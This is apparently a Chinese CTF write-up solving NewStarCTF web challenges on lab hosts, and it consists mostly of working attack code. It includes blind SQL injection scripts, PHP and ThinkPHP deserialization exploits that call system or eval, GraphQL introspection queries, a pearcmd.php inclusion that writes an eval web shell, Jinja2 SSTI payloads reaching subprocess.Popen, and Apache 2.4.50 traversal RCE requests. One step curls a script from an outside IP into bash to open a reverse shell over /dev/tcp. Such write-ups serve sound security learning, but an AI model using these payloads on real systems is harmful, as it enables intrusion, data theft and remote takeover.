week2 Word-For-You(2 Gen) sql注入,这里有很多方式都可以注入。可以进行报错或者盲注都可以。贴脚本。
import timeimport requestsurl = "http://302bec96-9e18-41a4-9d39-802a7f48776b.node4.buuoj.cn:81/comments.php" result = '' for i in range (155 , 300 ): head = 0 tail = 127 while head < tail: mid = (head + tail) >> 1 payload2 = { "name" : f"NewCTFer'and(ascii(substr((select(group_concat(concat_ws('~',text)))from(wfy.wfy_comments)),{i} ,1))>{mid} )#" } r = requests.post(url,data=payload2) time.sleep(0.1 ) print (payload2) if "成功" in r.text: head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : continue print (result)
这里range(155,300)
是因为flag在很后面所以截取的时候把数字调大一点。
IncludeOne 首先是一个PHP的伪随机数漏洞。这里给我们提供了工具。直接下载使用即可。
<?php highlight_file (__FILE__ );error_reporting (0 );include ("seed.php" );echo "Hint: " .mt_rand ()."<br>" ;if (isset ($_POST ['guess' ]) && md5 ($_POST ['guess' ]) === md5 (mt_rand ())){ if (!preg_match ("/base|\.\./i" ,$_GET ['file' ]) && preg_match ("/NewStar/i" ,$_GET ['file' ]) && isset ($_GET ['file' ])){ include ($_GET ['file' ]); }else { echo "Baby Hacker?" ; } }else { echo "No Hacker!" ; } Hint: 1219893521 Baby Hacker?
这里我们通过下载一个工具
php_mt_seed - PHP mt_rand() seed cracker (openwall.com)
因为给了一个随机数 通过工具我们可以反推随机数种子,这里的随机为什么是伪随机呢,就是通过固定种子生成随机数的话每次都是相同的,导致了随机数可以预测。
这里通过随机数反推到种子,这里看版本使用不同的。
进行随机发现第一个就是题目提供的,再使用一次就会得到第二个数字。传入即可。
继续绕过下面的
if (!preg_match ("/base|\.\./i" ,$_GET ['file' ]) && preg_match ("/NewStar/i" ,$_GET ['file' ]) && isset ($_GET ['file' ])){ include ($_GET ['file' ]);
这里过滤了base 看起来不能读取文件了。但是存在一个trick。 过滤器可以随便写且支持url编码
PHP Filter伪协议Trick总结 - 豆奶特 (dounaite.com)
当然我们传的时候也需要将他再进行编码一次。
UnserializeOne pop链构造。
<?php error_reporting (0 );highlight_file (__FILE__ );class Start { public $name ; protected $func ; public function __destruct ( ) { echo "Welcome to NewStarCTF, " .$this ->name; } public function __isset ($var ) { ($this ->func)(); } } class Sec { private $obj ; private $var ; public function __toString ( ) { $this ->obj->check ($this ->var ); return "CTFers" ; } public function __invoke ( ) { echo file_get_contents ('1.txt' ); } } class Easy { public $cla ; public function __call ($fun , $var ) { $this ->cla = clone $var [0 ]; } } class eeee { public $obj ; public function __clone ( ) { if (isset ($this ->obj->cmd)){ echo "success" ; } } }
这里主要就是用了几个比较少见的魔术方法,我们了解触发情况之后即可构造。
触发链
class :Start -> destruct -> 字符串拼接触发tostring class :Sec -> toString -> 调用不存在方法触发Call class :Easy -> call -> clone 对象触发clone class :eeee -> clone -> 调用不存在的属性触发isset class :start -> isset -> 把对象当作函数触发invoke class :Sec -> invoke -> getflag
exp:
<?php class Start { public $name ; public $func ; } class Sec { public $obj ; public $var ; } class Easy { public $cla ; } class eeee { public $obj ; public function __construct ( ) { $this ->obj = new start (); } } $a = new Start ();$a ->name = new Sec ();$a ->name->obj = new Easy ();$a ->name->var = new eeee ();$a ->name->var ->obj->func=new Sec ();echo serialize ($a );
这里有一个小知识点,因为题目PHP版本是7.3 PHP在7.1后不区分权限修饰符。可以直接都改为public
ezAPI 首先扫目录得到源码www.zip GraphQL注入。
<body> <dl class="admin_login"> <dt> <font color="white"><strong>Search Page Beta</strong></font> </dt> <form action="index.php" method="post"> <dd class="user_icon"> <input type="text" name="id" placeholder="用户ID" class="login_txtbx" /> </dd> <dd> <input type="submit" value="Search" class="submit_btn" /> </dd> </form><br> <center> <font size="4px" color="white"> <?php error_reporting(0); $id = $_POST['id']; function waf($str) { if (!is_numeric($str) || preg_replace("/[0-9]/", "", $str) !== "") { return False; } else { return True; } } function send($data) { $options = array( 'http' => array( 'method' => 'POST', 'header' => 'Content-type: application/json', 'content' => $data, 'timeout' => 10 * 60 ) ); $context = stream_context_create($options); $result = file_get_contents("http://graphql:8080/v1/graphql", false, $context); return $result; } if (isset($id)) { if (waf($id)) { isset($_POST['data']) ? $data = $_POST['data'] : $data = '{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null}'; //重点在这 我们可以传入data自定义发送数据 $res = json_decode(send($data)); if ($res->data->users_user_by_pk->name !== NULL) { echo "ID: " . $id . "<br>Name: " . $res->data->users_user_by_pk->name; } else { echo "<b>Can't found it!</b><br><br>DEBUG: "; var_dump($res->data); } } else { die("<b>Hacker! Only Number!</b>"); } } else { die("<b>No Data?</b>"); } ?> </font> </center> </dl> </body>
妈的 琢磨半天格式
我的GraphQL安全学习之旅 - 腾讯云开发者社区-腾讯云 (tencent.com)
{"query":"query{\nusers_user_by_pk(id:' . $id . ') {\nname\n}\n}\n", "variables":null } 仿照
通过GraphQL的内省机制可以拿到全部的信息。
这里不空格也是可以的。
{"query":"query__schema{__schema{types{name}}}"}
查看到flag的信息
然后查这个对象的字段 (真烦)
一定要双引号,这里用转义符转义一下。
id= 1 & data= {"query":"{__type(name:\"ffffllllaaagggg_1n_h3r3_flag\"){name\r\nfields{name\r\ntype{name}}}}"} id= 1 & data= {"query":"{ __type(name:\"ffffllllaaagggg_1n_h3r3_flag\"){name fields{name type{name}}}}"}这样也可以 id= 1 & data= {"query":"{ __type(name:\"ffffllllaaagggg_1n_h3r3_flag\"){name fields{description name type{name kind ofType{name kind description}}}}}"} 这三个都是查字段
id= 1 & data= {"query":"query{ffffllllaaagggg_1n_h3r3_flag{flag}}"} 查对象
[渗透测试之graphQL_Sp4rkW的博客-CSDN博客_graphql注入]https://blog.csdn.net/wy_97/article/details/11052215
week3 BabySSTi_One(SSTi) SSTI 有过滤,发现就是关键字过滤。可以进行拼接绕过。
我们可以使用print函数进行输出
?name={%print(""["__cla"+"ss__"])%} ?name={%print(""["__cla"+"ss__"]["__ba"+"se__"]["__subcl"+"asses__"]())%}
搜索了一下没有file类,有fileloader 是python3环境 编写脚本。可以进行文件读取
import requestsimport timefor i in range (500 ): url = 'http://5d81c1b3-5443-4b23-ae88-e40c82caf171.node4.buuoj.cn:81/?name={%print(""["__cla"+"ss__"]["__ba"+"se__"]["__subcl"+"asses__"]()[' +str (i)+'])%}' res = requests.get(url) time.sleep(0.2 ) print (i) if "FileLoader" in res.text: print ("Hi! Im here!" + url) break
读取到源代码
from flask import Flask, requestfrom jinja2 import Templateimport reapp = Flask(__name__) @app.route("/" ) def index (): name = request.args.get('name' , 'CTFer' ) if not re.findall('class|base|init|mro|flag|cat|more|env' , name): t = Template( "<body bgcolor=#E1FFFF><br><p><b><center>Welcome to NewStarCTF, Dear " + name + "</center></b></p><br><hr><br><center>Try to GET me a NAME</center><!--This is Hint: Flask SSTI is so easy to bypass waf!--></body>" ) return t.render() else : t = Template("Get Out!Hacker!" ) return t.render() if __name__ == "__main__" : app.run()
过滤了flag 需要进行RCE 查找subprocess.Popen类
for i in range (500 ): url = 'http://5d81c1b3-5443-4b23-ae88-e40c82caf171.node4.buuoj.cn:81/?name={%print(""["__cla"+"ss__"]["__ba"+"se__"]["__subcl"+"asses__"]()[' + str ( i) + '])%}' res = requests.get(url) time.sleep(0.2 ) print (i) if "subprocess.Popen" in res.text: print ("Hi! Im here!" + url) break Hi! Im here!http://5d81c1b3-5443 -4b23-ae88-e40c82caf171.node4.buuoj.cn:81 /?name={%print ("" ["__cla" +"ss__" ]["__ba" +"se__" ]["__subcl" +"asses__" ]()[245 ])%}
name={%print ("" ["__cla" +"ss__" ]["__ba" +"se__" ]["__subcl" +"asses__" ]()[245 ]('ls%20/' ,shell=True ,stdout=-1 )["communica" +"te" ]())%} 这里communicate() cat被过滤了 所以需要进行拼接绕过
name={%print ("" ["__cla" +"ss__" ]["__ba" +"se__" ]["__subcl" +"asses__" ]()[245 ]('tac%20/?lag_in_here' ,shell=True ,stdout=-1 )["communica" +"te" ]())%} 这里flag过滤可以使用?通配符 cat过滤了使用tac
multiSQL(堆叠注入) 看题目提示需要修改成绩,一开始没注意到。可以进行盲注但是后续select被过滤了。
反应过来尝试堆叠。
1 '; show columns from `score`;
这里可以使用预编译语句绕过过滤(参考强网杯随便注),给听力加一分之后就425了。刚好能过。
[BUUCTF-强网杯 2019]随便注(堆叠注入) - zhengna - 博客园 (cnblogs.com)
username= 1 ';set @a=concat("sel","ect * from `score`");prepare inject from @a;execute inject; #
username= 1 ';set @a=concat("upda","te `score` set listen=12 where usernme=' 火华'");prepare inject from @a;execute inject; #
修改完之后我们点击验证成绩就可以拿到flag了。
IncludeTwo(pearcmd.php) p牛发过的 pearcmd.php文件包含
Docker PHP裸文件本地包含综述 | 离别歌 (leavesongs.com)
(https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html )
<?php error_reporting (0 );highlight_file (__FILE__ );if (!preg_match ("/base64|rot13|filter/i" ,$_GET ['file' ]) && isset ($_GET ['file' ])){ include ($_GET ['file' ].".php" ); }else { die ("Hacker!" ); } Hacker!
http://9daa4fa2-eb89-45c6-952d-a334d496249c.node4.buuoj.cn:81/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=phpinfo()?>+/tmp/hello.php
我这第一次失败了
/index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST['cmd']);?>+/tmp/shell.php
Maybe You Have To think More 报错可以得到版本信息。直接网上搜相关的链子即可。
tp5反序列化 在cookie内进行触发
exp:
<?php namespace think ;abstract class Model { protected $append = []; private $data = []; function __construct ( ) { $this ->append = ["Sentiment" =>["hello" ]]; $this ->data = ["Sentiment" =>new Request ()]; } } class Request { protected $hook = []; protected $filter = "system" ; protected $config = [ 'var_method' => '_method' , 'var_ajax' => '_ajax' , 'var_pjax' => '_pjax' , 'var_pathinfo' => 's' , 'pathinfo_fetch' => ['ORIG_PATH_INFO' , 'REDIRECT_PATH_INFO' , 'REDIRECT_URL' ], 'default_filter' => '' , 'url_domain_root' => '' , 'https_agent_name' => '' , 'http_agent_ip' => 'HTTP_X_REAL_IP' , 'url_html_suffix' => 'html' , ]; function __construct ( ) { $this ->filter = "system" ; $this ->config = ["var_ajax" =>'' ]; $this ->hook = ["visible" =>[$this ,"isAjax" ]]; } } namespace think \process \pipes ;use think \model \concern \Conversion ;use think \model \Pivot ;class Windows { private $files = []; public function __construct ( ) { $this ->files=[new Pivot ()]; } } namespace think \model ;use think \Model ;class Pivot extends Model {} use think \process \pipes \Windows ;echo base64_encode (serialize (new Windows ()));?>
执行命令需要加入参数 Sentiment
flag在env内 (环境变量)
week4 So Baby RCE <?php error_reporting (0 );if (isset ($_GET ["cmd" ])){ if (preg_match ('/et|echo|cat|tac|base|sh|more|less|tail|vi|head|nl|env|fl|\||;|\^|\'|\]|"|<|>|`|\/| |\\\\|\*/i' ,$_GET ["cmd" ])){ echo "Don't Hack Me" ; }else { system ($_GET ["cmd" ]); } }else { show_source (__FILE__ ); }
GET /?cmd=ca${11}t%09$(expr%09substr%09$PATH%091%091)ffff?lllaaaaggggg
这里知识点
${11 }这里的话${}不传值都是表示为空。可以绕过关键字过滤。
这里截取${PWD:1:1}使用不了 expr substr $(awk NR==1 1.php) 1 1 表示从1.php的第一行第一个字符取值一个 这里我们也可以用来截取环境变量 ca$ {11}t $(expr substr $PATH 1 1)ffff?lllaaaaggggg 这里$(expr substr $PATH 1 1)截取的是反斜杠 / cat /ffffllllaaaaggggg
空格过滤不说了。
BabySSTI_Two
关键字过滤,这里可以使用 lower()函数将大写字符转换 这里因为拼接使用的加号被过滤了。
?name={%print(''['__CLASS__'.lower()]['__base__']['__SUBCLASSES__'.lower()]())%}
{%print(''['__CLASS__'.lower()]['__base__']['__SUBCLASSES__'.lower()]()[245]('dir$IFS/',shell=True,stdout=-1)['COMMUNICATE'.lower()]())%} {%print(''['__CLASS__'.lower()]['__base__']['__SUBCLASSES__'.lower()]()[245]('tac$IFS/f?ag_in_h3r3_52daad',shell=True,stdout=-1)['COMMUNICATE'.lower()]())%}
UnserializeThree phar反序列化
class.php:
<?php highlight_file (__FILE__ );class Evil { public $cmd ; public function __destruct ( ) { if (!preg_match ("/>|<|\?|php|" .urldecode ("%0a" )."/i" ,$this ->cmd)){ eval ("#" .$this ->cmd); }else { echo "No!" ; } } } file_exists ($_GET ['file' ]);这里可以使用%0 d绕过(\r)
<?php class Evil { public $cmd ; public function __construct ( ) { $this ->cmd = "\r;echo'hello';" ; } } @unlink ("a.phar" ); $phar = new Phar ("a.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new Evil ();$phar ->setMetadata ($o ); $phar ->addFromString ("test.php" , "<?php echo 1;?>" ); $phar ->stopBuffering ();
<?php class Evil { public $cmd ; public function __construct ( ) { $this ->cmd = "\r;eval(\$_GET['cmd']);" ; } } @unlink ("a.phar" ); $phar = new Phar ("a.phar" ); $phar ->startBuffering ();$phar ->setStub ("<?php __HALT_COMPILER(); ?>" ); $o = new Evil ();$phar ->setMetadata ($o ); $phar ->addFromString ("test.php" , "<?php echo 1;?>" ); $phar ->stopBuffering ();?>
又一个SQL 异或注入,这里需要使用一个if去返回结果异或。
import requestsimport timeurl = "http://bb1f0b65-a01b-49a2-96bf-48e2faaa06e3.node4.buuoj.cn:81/comments.php" flag = "" for i in range (155 ,300 ): head = 32 tail = 127 while head < tail: mid = (head + tail) >> 1 payload = { "name" : f"100^if(ascii(substr((select(group_concat(text))from(wfy_comments)),{i} ,1))>{mid} ,0,1)" } print (payload) res = requests.post(url=url, data=payload) time.sleep(0.1 ) if "f1ag" in res.text: head = mid + 1 else : tail = mid if head != 32 : flag = flag + chr (head) else : break print (flag)
week5 Give me your photo PLZ 迷惑,我还以为二次渲染?
只要传.htaccess和.jpg就可以了
写的很好,可惜有错别字
看了一下源代码就是很简单的。
<?php if (!empty ($_FILES )) { if ($_FILES ["file" ]["error" ] > 0 ) { echo "错误:" . $_FILES ["file" ]["error" ] . "<br>" ; } else { $extension = explode ("." , $_FILES ["file" ]["name" ]); $extension = "." .strtolower (end ($extension )); $deny_ext = array (".php" , ".php5" , ".php4" , ".php3" , ".php2" , ".php1" , ".html" , ".htm" , ".phtml" , ".pht" , ".pHp" , ".pHp5" , ".pHp4" , ".pHp3" , ".pHp2" , ".pHp1" , ".Html" , ".Htm" , ".pHtml" , ".jsp" , ".jspa" , ".jspx" , ".jsw" , ".jsv" , ".jspf" , ".jtml" , ".jSp" , ".jSpx" , ".jSpa" , ".jSw" , ".jSv" , ".jSpf" , ".jHtml" , ".asp" , ".aspx" , ".asa" , ".asax" , ".ascx" , ".ashx" , ".asmx" , ".cer" , ".aSp" , ".aSpx" , ".aSa" , ".aSax" , ".aScx" , ".aShx" , ".aSmx" , ".cEr" , ".sWf" , ".swf" , ".ini" ); if (in_array ($extension , $deny_ext )) { exit ("上传木马可不是好习惯~~~" ); } else { move_uploaded_file ($_FILES ["file" ]["tmp_name" ], "upload/" . strtolower ($_FILES ["file" ]["name" ])); echo "<img src='upload/" . strtolower ($_FILES ["file" ]["name" ]) . "'>" ; } } } ?>
So Baby RCE Again <?php error_reporting (0 );if (isset ($_GET ["cmd" ])){ if (preg_match ('/bash|curl/i' ,$_GET ["cmd" ])){ echo "Hacker!" ; }else { shell_exec ($_GET ["cmd" ]); } }else { show_source (__FILE__ ); }
很简单一个RCE,这里过滤上周方法即可绕过。这里是无回显,我们可以进行反弹shell。
或者重定向。
反弹shell http://2b0214eb-c759-4397-a0f5-7a86ec793a8a.node4.buuoj.cn:81/?cmd=cu${11}rl http://118.31.166.161:25589/1.html|ba${11}sh
这里我们写一个index.html 内容就是反弹shell内容即可
bash -i >& /dev/tcp/ip/port 0>&1 然后通过curl访问再管道符bash执行反弹
find / -perm -u=s -type f 2>/dev/null 查找有suid的命令
发现date可以读取文件
Unsafe Apache 查看数据包可知apache的版本信息
Apache/2.4.50,查找该版本信息。
Apache HTTP Server 2.4.50路径穿越以及远程代码执行(CVE-2021-42103)
验证目录穿越
icons/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd
验证rce
GET /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1 Host: node4.buuoj.cn:27915 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 If-None-Match: "2d-432a5e4a73a80" If-Modified-Since: Mon, 11 Jun 2007 18:53:14 GMT Connection: close Content-Length: 7 echo;id
BabySSTI_Three 这里使用format绕过。
?name={{'' ['%c%c%c%c%c%c%c%c%c' |format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )]}} == (__class__)
?name={{'' [('%c%c%c%c%c%c%c%c%c' )|format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )][('%c%c%c%c%c%c%c%c' )|format (95 ,95 ,98 ,97 ,115 ,101 ,95 ,95 )]}} == '' [__class__][__base__] 不需要点
?name={{'' [('%c%c%c%c%c%c%c%c%c' )|format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )][('%c%c%c%c%c%c%c%c' )|format (95 ,95 ,98 ,97 ,115 ,101 ,95 ,95 )][('%c%c%c%c%c%c%c%c%c%c%c%c%c%c' )|format (95 ,95 ,115 ,117 ,98 ,99 ,108 ,97 ,115 ,115 ,101 ,115 ,95 ,95 )]()}} == '' [__class__][__base__][__subclasses__]()
{{'' [('%c%c%c%c%c%c%c%c%c' )|format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )][('%c%c%c%c%c%c%c%c' )|format (95 ,95 ,98 ,97 ,115 ,101 ,95 ,95 )][('%c%c%c%c%c%c%c%c%c%c%c%c%c%c' )|format (95 ,95 ,115 ,117 ,98 ,99 ,108 ,97 ,115 ,115 ,101 ,115 ,95 ,95 )]()[245 ]('ls$IFS/' ,shell=True ,stdout=-1 )[('%c%c%c%c%c%c%c%c%c%c%c' )|format (99 ,111 ,109 ,109 ,117 ,110 ,105 ,99 ,97 ,116 ,101 )]()}
?name={{'' [('%c%c%c%c%c%c%c%c%c' )|format (95 ,95 ,99 ,108 ,97 ,115 ,115 ,95 ,95 )][('%c%c%c%c%c%c%c%c' )|format (95 ,95 ,98 ,97 ,115 ,101 ,95 ,95 )][('%c%c%c%c%c%c%c%c%c%c%c%c%c%c' )|format (95 ,95 ,115 ,117 ,98 ,99 ,108 ,97 ,115 ,115 ,101 ,115 ,95 ,95 )]()[245 ]('c${11}at$IFS/f?ag?in?h3r3?52daad' ,shell=True ,stdout=-1 )[('%c%c%c%c%c%c%c%c%c%c%c' )|format (99 ,111 ,109 ,109 ,117 ,110 ,105 ,99 ,97 ,116 ,101 )]()}}
不想读源代码,猜测过滤了空格和一些关键字。进行绕过即可。
这几道SSTI环境都是一样的,只是加了过滤,所以不需要再查看类的位置
Final round 还是原来的sql注入,跟前面一样,这里换成时间盲注即可。
sql注入也是,都是一样的环境。表名列名都一样包括flag的位置,当然flag不同。
import requestsimport time url = "http://b289a552-860c-431a-8c15-6eef70a1cc60.node4.buuoj.cn:81/comments.php" result = "" for i in range (155 ,300 ): head = 32 tail = 126 while head < tail: mid = (head + tail) >> 1 payload = { "name" : f"100^if(ascii(substr((select(group_concat(text))from(wfy_comments)),{i} ,1))>{mid} ,sleep(0.5),1)" } print (payload) start = time.time() requests.post(url,data=payload) end = time.time() if end - start > 1 : head = mid + 1 else : tail = mid if head != 32 : result += chr (head) else : break print (result)
直接跑就可以了。
CTF的路很长很累但也很精彩,在学习的过程里我们可以认识很多新朋友。也是一个很有意思的过程。希望大家都可以成为自己心中的CTFer!